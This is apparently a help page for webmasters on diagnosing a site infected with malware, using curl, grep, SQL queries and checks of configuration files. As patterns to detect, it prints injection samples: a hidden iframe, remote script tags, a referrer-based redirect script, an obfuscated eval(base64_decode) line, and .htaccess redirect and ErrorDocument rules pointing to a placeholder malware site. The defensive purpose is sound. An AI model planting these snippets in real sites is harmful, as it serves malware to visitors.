Hacked with malware

- What you'll need
- Preparation {: #preparation }
- Diagnosis {: #diagnosis }
  - Server configuration malware (unwanted redirects)
    - Diagnosis
    - Determine affected files
  - SQL injection
    - Diagnosis
    - Fix the issue
  - Code injection
    - Diagnosis
  - Malicious error templates
    - Diagnosis
    - Fix the issue
  - Loading resources from a compromised or malicious site
    - Diagnosis
    - Fix the issue
- Additional investigation {: #additional }

Malware is any software or mobile application specifically designed to harm a computer, a mobile device, the software it's running, or its users. You can read more about what malware is here.

If your site contains malware, users will typically see the warning "*This site may harm your computer*" displayed in search results or in an interstitial page shown by the browser when the user attempts to visit your site, something like this:

Representative malware interstitial page

If your site was affected by spam, not malware, displaying the warning "*This site may be hacked*" in search results, please see the page Assess spam damage (Hacked with spam).

https://www.youtube.com/watch?v=Snt45fZQIiU

What you'll need

- Shell/terminal administrator access to your site's servers: web, database, files.
- Knowledge of shell/terminal commands.
- Ability to run SQL queries on the database.

Preparation {: #preparation }

1. Sign up for Search Console, and verify ownership of your hacked site as described there. Search Console provides a sample of affected pages, which makes finding and fixing hacked-with-malware issues much easier. In addition, you will be warned when your site is detected to be affected by many types of malware or other hacks.
2. View the Google Safe Browsing diagnostic page diagnostic page to see public information about whether a site is potentially harmful to users. You can see the listing status for your page or site at a URL similar to this: `https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***` For example: `https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com`
   <<page_or_site>> can be a specific page URL (`http://example.com/badpage`) or your entire site (example.com).
3. **Avoid using a browser to view pages on your site.** Because malware often spreads by exploiting browser vulnerabilities, opening an infected malware page in a browser may damage your computer. Unless the diagnosing instructions say to access the page directly in your browser, you should use cURL or Wget to perform HTTP requests (for example, to fetch a page).
   These freely available tools are helpful in diagnosing redirects, and have the flexibility to include referrer or user-agent information. Including a specific referrer or user-agent is helpful in mimicking hackers since hackers may only serve malicious content to users with specific user-agents or referrers to target more "real people" and can avoid detection from site owners and malware scanners.

```
`curl -v --referer "http://www.google.com" <your-url>`
```

Here's an example that specifies both a user agent and a referrer:

```
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
```

We recommend fetching a page with and without `--referer "https://www.google.com"` because some malware is only activated when users come from Google Search results.

1. Create a document to record findings from this step. The document will eventually include (at minimum) the name/location of each file damaged and notes about how it was infected, and will serve as the basis for Clean and maintain your site.
2. Watch the video above to see how malware works and how you can stay safe during your malware investigation.

Diagnosis {: #diagnosis }

Determine which malware is affecting your site:

1. Open the Security Issues report for your site in Search Console. Expand the description of the malware warning to see a list of example affected pages. Note that this list is not exhaustive; you might not get example pages for all types of malware on your site.
2. Test your example pages for the following types of malware:

Warning: Opening affected pages directly in the browser can download malicious content to your computer. Unless directed to visit the page directly in your browser as part of the debugging process, use cURL or Wget to access your site.

Server configuration malware (unwanted redirects)

https://www.youtube.com/watch?v=zyAxY5boWSs

A hacker has compromised your site and is redirecting visitors from your good site to their malware attack site, likely by modifying your server's configuration file(s). Server configuration files commonly allow the site administrator to specify URL redirects for specific pages or directories on a website. For example, on Apache servers, this is the `.htaccess` file as well as `httpd.conf`.

Diagnosis

Visit some of the example URLs shown in the Security Issues report. A response from a page infected with the "server configuration" infection might include the following headers:

```
&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
```

```
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253
```

Determine affected files

Log in to your server through shell/terminal access (the site may be offline if you wish) and review relevant server configuration files. There may be more than one hacked server configuration file on your site. Check these files for unwanted directives, such as redirects, where the hacker can configure your site to redirect to unknown malware attack sites. For example, in the .htaccess file, you might see a redirect such as this:

```
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-
site_</strong></em>&gt;/index.html** [R=301]
```

Any files that include these bad redirects; you will need to clean them later.

SQL injection

https://www.youtube.com/watch?v=oZ2kTLDXNNU

A hacker has compromised your site's database. For example, the hacker may have programmatically inserted malicious code into every record of a database table, so that when the server loads a page that requires information from the database, the malicious code is now embedded in the page's content and can potentially harm site visitors.

Diagnosis

1. Run some queries on the affected URLs in the command-line, and examine the response for SQL attack words like "iframe" or "eval".
2. Next, log in to your database server or view your database through a tool like phpMyAdmin. If you used Wget or cURL, try to correlate the damage found in the page's source code through Wget or cURL with the actual database entries. For example, if you noticed your pages included a dangerous iframe, you could perform a SQL query searching for iframe code. For example:

```
SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
```

1. You may also want to check database log and error files on your server for unusual activity, such as unexpected SQL commands that seem abnormal for regular users or errors.

Fix the issue

Either update each infected database record or you can restore your last known database backup.

Code injection

https://www.youtube.com/watch?v=8SX2Ks2XOgo

Pages on your site were modified to include malicious code, such as an iframe to a malware attack site.

Diagnosis

Visit some of the example URLs shown in the Security Issues report with cURL or wGet and examine for suspicious code. Injected code can take many types, and can be hard to find. It may be helpful to search for words like "iframe" to find iframe code. Other helpful keywords are "script", "eval", and "unescape." For example, to search all files for "iframe" on Unix-based systems:

```
$grep -irn "iframe" ./ | less</pre>
```

Here are some common malware patterns to look for.

An iframe that loads a malicious site:

```
&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-
site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;
```

JavaScript or another scripting language that calls and runs scripts from an attack site:

```
&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-
site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;
```

Scripting that redirects the browser to an attack site:

```
&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;
```

Malicious code that's obfuscated to avoid detection:

```
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
```

Shared object files designed to randomly write harmful code to otherwise benign scripts:

```
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
```

Malicious error templates

https://www.youtube.com/watch?v=nVnn8HQJ4Ao

The template used for error messages, such as 404 File not Found, is configured to distribute malware. In this way, attackers can launch attacks on URLs that do not even exist on your site.

Diagnosis

Request a page on your site that doesn't exist, or that throws another type of error, and examine the response to see if it comes from another site or otherwise contains malware.

Fix the issue

Log in to your webserver and search your server configuration files for error page directives. For example, the error template for Apache webservers can be declared in the .htaccess file. Here is an example .htaccess file entry that retrieves 404 error pages from a malicious site:

```
ErrorDocument 404 http://&lt;span class="red-text"><em><strong>_malware-
site_</strong></em></span>&gt;/index.html
```

When ready to clean your site, you can either replace the .htaccess files(s) with a known good backup, or you can delete the unwanted ErrorDocument directives on the existing .htaccess file(s). Be sure to also clean the actual error files if they exist on your site. Last, restart your webserver to make sure that all changes take effect.

Loading resources from a compromised or malicious site

Your site uses content or resources from a website that is known to contain malicious content. These could be JavaScript files, images, or other files. Because of this, your site will be flagged for malware, which is loaded from that other site.

Diagnosis

Visit some of the example URLs shown in the Security Issues report.

Fix the issue

1. Confirm the issue by browsing to a few of the sample URLs listed in the Security Issues report in Search Console. You should see a browser warning.
2. The browser warning will tell you the domain of the questionable content. Remove all references to the flagged site listed in the browser warning.
3. If the content from a flagged site was included without your knowledge, the problem is more serious and your site has most likely been compromised, and you should continue to examine your site for other hacks and vulnerabilities.
4. If you intentionally included content from a legitimate site that became flagged and you wish to re-include the content after the flagged site becomes cleaned up, you can monitor the status of the flagged site using the Google Safe Browsing diagnostics page for that site (`http://www.google.com/safebrowsing/diagnostic?site=www.example.com`). Legitimate sites are often cleaned up quickly by their owners.

Additional investigation {: #additional }

https://www.youtube.com/watch?v=2A4dLkXXUjo

Next, check for any additional malicious files or changes on your system. Be aware that the hacker may have modified existing pages or database records, created entirely new spammy pages, written functions to display spam on clean pages, or left "back doors" that allow the hacker re-entry to your site, or that re-inject malicious code that you've removed.

If your site is online, consider taking it offline for this investigation.

If you have a known good backup of your site, determine which files have been created or modified since the backup and investigate them. On Unix-based systems, you can use a command such as this to find new files:

```
diff -qr <current-directory> <backup-directory>
```

For example:

```
diff -qr www/ backups/full-backup-20120124/
```

also:

```
md5sum <current-page> <backup-page>
```

For example:

```
md5sum www/page.html backups/full-backup-20120124/page.html
```

Check server, access, and error logs for any suspicious activity such as failed login attempts, command history (especially as root), the creation of unknown user accounts, and so on. Be aware that the hacker may have altered these logs for their own purposes. (If helpful, some examples are shown in the video for Identify the vulnerability.)

Check configuration files for redirects. Your configuration files are typically named `.htaccess` and `httpd.conf`. Hackers often create conditional redirects based on the user-agent, time of day, or referrer. If you need to update configuration files, you may need to restart your server for your changes to take effect.

Check for overly-lenient folder and file permissions. Hackers tamper with permissions because if lenient permissions remain undetected by the site owner, the hacker will have a way to reenter the site. Files greater than `644 (rw-r--r--)` and folders greater than `755 (rwxr-xr-x)` can cause security issues. Make sure any looser permission are really necessary. On Unix-based systems, try:

```
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
```

and:

```
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
```

If you have a database, investigate record by record, using a tool like phpMyAdmin.

□□□ #3
□ □□□ □□□ 2026-10-31 23:13:59 UTC
□ cocobook-sync □□□ 2026-11-04 17:39:58 UTC